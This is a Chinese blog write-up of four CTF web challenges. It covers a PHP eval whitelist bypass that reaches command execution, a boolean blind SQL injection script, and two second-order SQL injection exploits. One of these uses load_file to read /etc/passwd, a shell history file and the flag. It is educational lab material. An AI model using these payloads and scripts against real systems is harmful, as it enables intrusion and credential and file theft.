[CISCN 2019 初赛]Love Math
访问,得源代码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
分析,规则如下:
1、GET一个参数c,长度不能大于80
2、c的值不能出现blacklist里的字符
3、使用的数学函数只能从whitelist里取
参考大佬博客:[CISCN 2019 初赛]Love Math。
方法一:
从eval('echo '.$content.';');
想到命令注入,构造类似system('ls')
的东西,为了方便,可以使用类似$_GET['a']($_GET['b'])&a=system&b=ls
的方法。
payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls
分析:
base_convert()函数:在任意进制之间转换数字。
dechex()函数:把十进制转换为十六进制。
hex2bin()函数:把十六进制值的字符串转换为 ASCII 字符。
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
另一种payload:
?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
然后搞一个头信息“1:cat /flag”
分析:
getallheaders获取全部HTTP请求头信息。
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
方法二:
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
if($exp=='_G' || $exp=='ET'){
echo($payload[$k]."^'$i$j'"."==>$exp");
echo "<br />";
}
}
}
}
?>
payload:
?c=$pi=(is_finite^(6).(4)).(rad2deg^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
分析:
这里由于单引号(')被过滤,所以使用点号(.)来连接
is_finite^(6).(4)='_G'
rad2deg^(1).(5)='ET'
$pi{0}($pi{1})=$_GET{0}($_GET{1})
[Black Watch 入群题]Web
在Network处可以查看到一个疑似sql注入的网址:
尝试后发现if、ascii、substr
没被过滤,可以布尔盲注。空格被过滤了用括号代替。
直接放python脚本:
import requests
url = 'http://c1d20405-bb2c-4c4d-9eb2-1695e618b54d.node3.buuoj.cn/backend/content_detail.php?id=1'
res = ''
'''
#数据库名
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr(database(),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:database()=news
'''
'''
#表名
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:table_name=admin,content
'''
'''
#列名
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x61646d696e)),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:column_name=id,username,password,is_enable
'''
#字段值
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr((select(group_concat(is_enable))from(admin)),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:id:1,2
#结果:username:d9ca673c,451fe314
#结果:password:36eb03b9,c5d884a5
#结果:is_enable:0,1
使用username=451fe314、password=c5d884a5
进行登录,成功拿到flag。
[网鼎杯2018]Unfinish
首页就是登录,猜测有个register.php
。当然扫描就能得到。
随便注册一个账号,然后进行登录。
登录后发现注册的用户名显示出来了。猜测此处可能存在二次注入。
回到注册解密,发现在用户名处填入 ,
会显示 nnnnoooo!!!
,说明存在过滤。
FUZZ测试一下,发现被过滤的有:
tab(%09)、逗号(,)、information、%0a、%a0
从单引号的长度发现和其他的不一样,测试一下,发现并不是被过滤,而是单引号会引起sql语句报错,导入注册不成功。
尝试注册1' and '0
,发现确实可以注册成功,用户名显示为0
# 使用 + 运算符
select '0'+'123a'; #结果为123
# 尝试获取数据库名的第一个字符
select '0'+ascii(substr(database(),1,1))+'0';
# 不过逗号被过滤,可使用 from for 代替
select '0'+ascii(substr(database() from 1 for 1))+'0';
进行测试,注册一个 0'+ascii(substr(database() from 1 for 1))+'0
用户,得到119
,ascii码值为w
。
说明思路正确,不过由于 information 表被过滤,直接猜测存在一个 flag 表,写exp得到flag:
import requests
import re
import time
def main():
flag = ''
url = 'http://d13edc9f-d5fa-4cf4-bd5c-002272cc9e73.node4.buuoj.cn/'
url_register = url + 'register.php'
url_login = url + 'login.php'
for i in range(100):
email = "air{}@air.com".format(i)
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i)
data_register = {"email" : email, "username" : payload, "password" : "air"}
data_login = {"email" : email, "password" : "air"}
requests.post(url_register, data=data_register)
rl = requests.post(url_login, data=data_login)
res = re.findall(r'<span class="user-name">\s*(\d+)\s*</span>',rl.text)
flag = flag+chr(int(res[0]))
print(flag)
# 速度太快,网站会崩
time.sleep(2)
if __name__ == '__main__':
main()
[网鼎杯 2018]Comment
发帖提示要登录,由 zhangwei***
猜测弱口令,爆破得到 zhangwei666
。
控制台处看到提示,猜测git泄露
使用 githack 工具进行提取,得到 write_do.php
内容如下:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
使用如下内容查看所有分支的所有操作记录,包括commit和reset的操作,包括已经被删除的commit记录
git log --reflog
使用如下命令进行强制恢复到指定 comment_id 所指的记录。
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
得到恢复后的write_do.php
内容:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
在write部分使用addslashes()函数进行了过滤
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
但是在comment部分对从数据库中取出的category没有过滤,这就造成了二次注入
$category = mysql_fetch_array($result)['category'];
addslashes过滤后产生的 \
不会被写入到数据库中,即 '1
过滤后变成 \'1
,到库中后仍为 '1
,取出数据后进行二次拼接,就造成了二次注入。
#插入到 board 表中
$sql = "insert into board set category = '$category',
title = '$title',
content = '$content'";
#从 board 表中取出的 category 直接拼接到语句中插入到 comment 表中造成二次注入
$sql = "insert into comment set category = '$category',
content = '$content',
bo_id = '$bo_id'";
尝试构造恶意语句:
# 发帖处传入 category=',content = user(),/*
insert into board set category = '\',content = user(),/*',
title = '1',
content = '1';
# 此时 board 表里的 category=',content = user(),/*
# 提交留言处传入 content=*/#,回到sql语句本身,取出 category 的值进行拼接
insert into comment set category = '',content = user(),/*',
content = '*/#',
bo_id = '1';
# 此时二次注入成功,content的值变为了恶意构造的 user(),得到结果
为了方便操作,根据分析写出 exp:
import requests,re
url_base = 'http://5dda4395-a17a-411a-8dcc-75f5c7a03c8d.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
'username': 'zhangwei',
'password': 'zhangwei666'
}
session.post(url_login, data=data_login)
# 发帖
url_write = url_base + 'write_do.php?do=write'
# 这里操作时需要不断的修改 id 和 payload 的值
id = '1'
#payload = "',content=user(),/*"
#payload = "',content=database(),/*"
#payload = "',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*"
#payload = "',content=(select group_concat(column_name) from information_schema.columns where table_name='user'),/*"
payload = "',content=(select group_concat(id,'~',username,'~',password) from user),/*"
data_write = {
'category': payload,
'content': 'air',
'title': 'air'
}
session.post(url_write, data=data_write)
# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
'content': '*/#',
'bo_id': id
}
session.post(url_comment, data=data_comment)
# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text)
if match:
print(match[0])
经常规操作,发现表有 board,comment,user
三张,不过没有什么重要信息。猜测 flag 不在数据库,尝试使用 load_file 加载文件查看。
修改 exp 里的 id 和 payload:
payload = "',content=(select load_file('/etc/passwd')),/*"
得到
查看www用户的历史操作命令
payload = "',content=(select load_file('/home/www/.bash_history')),/*"
得到
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
经分析,/var/www/html/
下的 .DS_Store
被删除了,但是 /tmp/html
还在,读取
payload = "',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*"
获取到的是16进制值,使用 010Editor 打开查看到存在一个 flag_8946e1ff1ee3e40f.php
。
读取flag
payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"
exp:
import requests,re
url_base = 'http://32e5d91b-45e9-49a0-9726-096897de6b88.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
'username': 'zhangwei',
'password': 'zhangwei666'
}
session.post(url_login, data=data_login)
# 发帖
url_write = url_base + 'write_do.php?do=write'
id = '1'
payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"
data_write = {
'category': payload,
'content': 'air',
'title': 'air'
}
session.post(url_write, data=data_write)
# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
'content': '*/#',
'bo_id': id
}
session.post(url_comment, data=data_comment)
# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text, re.S)
if match:
print(match[0])
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105672240
========================================================